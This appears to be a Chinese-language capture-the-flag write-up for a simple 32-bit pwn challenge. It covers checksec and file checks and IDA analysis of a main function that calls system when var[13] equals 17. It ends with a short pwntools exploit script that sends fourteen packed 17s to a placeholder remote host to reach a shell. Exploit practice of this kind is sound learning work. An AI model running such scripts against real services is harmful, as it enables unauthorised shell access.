0. 环境
Ubantu-22.04.4
1. 查看文件格式
终端中输入命令
checksec --file='filename' # filename为下载文件的自定义名称
结果为
开了canary、NX和PIE,似乎防得很严实
终端中输入命令
file 'filename'
输出为
32位程序,放到IDA中继续分析
2. IDA分析程序
1. main函数
主函数里就调用了system函数,运气很好。
观察选择条件,只需要满足var[13] = 17就可以。前面有scanf函数,可以直接向var数组输入。
3. 分析思路
这道题非常简单(甚至比ret2text简单...),只需要满足让系统调用system函数的条件,即将var[13]这个数组里全部填上17即可。
4. 构造exp
直接上脚本
# coding: utf-8 #python2.7中文注释
from pwn import *
r = remote("网址",端口号)
offset = 14 # var[13]一共有14个元素
payload = p32(17) * offset
r.sendline(payload)
r.interactive()
攻击成功,运行结果如下